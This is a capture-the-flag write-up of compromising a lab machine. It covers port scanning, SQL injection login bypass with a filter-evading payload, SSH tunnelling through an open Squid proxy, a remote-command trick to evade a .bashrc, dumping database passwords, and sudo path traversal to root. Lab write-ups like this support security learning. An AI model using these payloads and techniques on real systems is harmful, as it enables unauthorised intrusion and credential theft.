Enumeration
NMAP
First, I went ahead and launched a port scan against the target machine.
nmap -Pn -A -sV -p- $target
PORT STATE SERVICE REASON VERSION 22/tcp filtered ssh no-response 80/tcp open http syn-ack ttl 64 Apache httpd 2.2.22 ((Debian)) | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Site doesn't have a title (text/html). 3128/tcp open http-proxy syn-ack ttl 64 Squid http proxy 3.1.20 | http-open-proxy: Potentially OPEN proxy. |_Methods supported: GET HEAD |_http-server-header: squid/3.1.20 |_http-title: ERROR: The requested URL could not be retrieved MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 3.2 - 3.16 (98%), Linux 3.2 - 3.10 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.2 - 3.8 (94%), Linux 2.6.32 - 3.13 (94%), Linux 3.2 (94%), Linux 2.6.32 - 3.5 (94%), OpenWrt Barrier Breaker (Linux 3.10) (93%), Linux 2.6.32 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%)
Fine tuned scan results
WEB - 80
Apache httpd 2.2.22 ((Debian))
/background (Status: 200) [Size: 2572609] /cgi-bin/ (Status: 403) [Size: 289] /cgi-bin/.html (Status: 403) [Size: 294] /cgi-bin/.php (Status: 403) [Size: 293] /index.html (Status: 200) [Size: 1136] /index (Status: 200) [Size: 1136] /index.html (Status: 200) [Size: 1136] /login.php (Status: 200) [Size: 21] /server-status (Status: 403) [Size: 294]
/
/background
/login.php
WEB - 3128
Squid http proxy 3.1.20
SSH - 22
22/tcp filtered ssh no-response
SSH traffic was filtered and not directly accessible on initial try.
Exploitation
Authentication Bypass
The web app was vulnerable to SQL Injection Authentication Bypass as shown below. However, the web application had SQL filtering.
admin' or 1=1--
After entering the query, I noticed that my or and my = were missing from the request in the reply. That's when I realized there was some kind of filtering going on in the background. I then used the following payload to bypass the SQL filtering which brought me to the admin page!
admin' || 1=1#
The admin panel seems to contain SSH credentials to the box.
SSH
Even though the SSH credentials were given to us, SSH access was still limited as the traffic going to port 22 on the target was filtered as discovered in the initial stages. I had to use the available squid proxy which I uncovered on port 3128.
ProxyTunnel
proxytunnel -p 192.168.0.199:3128 -d 127.0.0.1:22 -a 666
With this command, the target's port 22 is now tunneled to the attack box's port 666. Now I was able to SSH into the machine.
ssh john@127.0.0.1 -p 666 hereisjohn
However, the shell instantly closed due to the .bashrc setting of the user. The bypass to this was to delete .bashrc located in the user's home directory. SSH has this feature which lets the user enter what to execute when connected to the host. To test this, I was hosting a web server on port 80 of my attack box and attempted to get a non existent page from the target.
ssh john@127.0.0.1 -p 666 "wget 192.168.0.108/lol"
It looked to have worked perfectly and my web server received a request. Thus I decided to launch /bin/sh and remove .bashrc manually to over come this obstacle.
ssh john@127.0.0.1 -p 666 "/bin/sh"
I had a non tty shell using /bin/sh. I then proceeded to remove the .bashrc file int he home directory of john.
Now when I normally SSH-ed in, I was granted a fully TTY shell!
Privilege Escalation
Database
Since the web app was vulnerable to SQL Injection, I went ahead and looked at the login.php file which was uncovered during enumeration for SQL Server creds.
/var/www/
/var/www/login.php
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
if($db->connect_errno > 0){ die('Unable to connect to database [' . $db->connect_error . ']');
} [...........REDACTED...........]
root:root
With that, I was able to retrieve 2 more user accounts which were tied to the machine.
+----+---------------------+--------------+ | id | email | password | +----+---------------------+--------------+ | 1 | john@skytech.com | hereisjohn | | 2 | sara@skytech.com | ihatethisjob | | 3 | william@skytech.com | senseable | +----+---------------------+--------------+
Lateral Movement: sara
While logging into sara's account, I realized that I had to re execute the bypass on her account to avoid the default .bashrc acting up.
And I was in her account.
/accounts/
Sudo -l + Path Traversal
Running sudo -l revealed to me that sara could use cat and ls in the /accounts/* directory.
However, taking a closer looked at the entry in /etc/sudoers reveals that there was an * which made path traversals a possibility.
sudo ls /accounts/../../../../root
I first listed the /root directory which revealed the flag and at this point I thought I was done. However, this file revealed the root password to me!
Which led me to an interactive rooty shell!!
Such a solid box!!
-Nee